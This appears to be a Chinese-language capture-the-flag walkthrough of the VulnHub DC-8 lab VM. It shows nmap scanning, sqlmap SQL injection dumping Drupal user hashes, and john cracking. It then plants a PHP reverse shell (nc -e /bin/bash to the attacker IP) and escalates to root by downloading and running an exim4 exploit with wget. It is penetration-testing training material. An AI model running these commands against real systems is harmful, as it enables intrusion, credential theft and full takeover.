项目地址
https://vulnhub.com/entry/dc-8,367/
注:在监听那块可能出现图片中的监听端口不同,因为博主做了两次,截图截茬了,在此表示歉意
(监听端口只需要一个即可)
实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
使用nmap进行主机发现,获取靶机IP地址
nmap 192.168.47.1-254
根据对比可知DC-8的一个ip地址为192.168.47.133
扫描DC-8的操作系统,端口及对应服务
nmap -A -p- 192.168.47.133
发现开放22端口
Kali开启ssh服务,在浏览器访问http://192.168.47.133
点击页面中的字体发现URL带有参数,说明可能能进行SQL注入
输入(’),页面进行跳转,说明存在SQL注入
用sqlmap跑一下,看有没有东西
sqlmap -u "http://192.168.47.133/?nid=1"
sqlmap -u "http://192.168.47.133/?nid=1" -dbs
sqlmap -u "http://192.168.47.133/?nid=1" -D d7db -tables
sqlmap -u "http://192.168.47.133/?nid=1" -D d7db -T users -dump
将两串字符串进行保存
使用john进行破解
ps:如果出现下述情况可输入
watch rm -rf /root/.john/john.rec //每两秒删除一次这个文件
可得出一个叫turtle的密码
测试能不能直接账号对 DC-8 进行ssh登录
登陆失败
对网站进行目录和文件扫描
dirb http://192.168.47.133
出现robots.txt文件
进入网站进行查询
发现存在用户登录的一个界面
进入用户登录界面,使用刚才的admin和john进行登录测试
经过测试发现正确的账户名和密码为john和turtle
经过各种搜索发现,在这个地方可以执行php代码
先选择【php code】然后填写反弹shell的命令
<?php system("nc -e /bin/bash 192.168.47.129 7897"); ?>
这里的IP地址为kali的IP地址
提交
在kali设置监听命令等待靶机反弹shell
nc -lvvp 7897
在view随便输入一些信息进行提交
shell反弹成功
获取一个交互式的shell
python -c "import pty; pty.spawn('/bin/bash')"
接下来想办法提权(suid提权)
查看可以用于suid提权的命令
find / -user root -perm -4000 -print 2>/dev/null
发现一个比较奇怪的命令
使用/usr/sbin/exim4 --version查看一下版本信息
使用命令searchsploit exim 4搜索可以利用的提权方法
选择使用46996.sh
将kali机的apache服务开启
service apache2 start
将攻击脚本文件复制到Apache服务的根目录/var/www/html下
在kali中使用set ff=unix,告诉编译器,使用unix换行符,否则会无法使用脚本![image.png](https://img-blog.csdnimg.cn/img_convert/b49aefe5132181bc6433f9c22ed36ab5.png)
在靶机反弹回来的shell处使用命令将脚本下载到靶机中
wget http://192.168.47.129/exp.sh
没有权限
选择一个不需要root用户权限的目录,比如tmp
下载成功后给予权限
使用命令执行脚本
./exp.sh -m netcat
输入whoami进行查看
出现root说明提权成功
cd /root进入并使用ls进行查看文件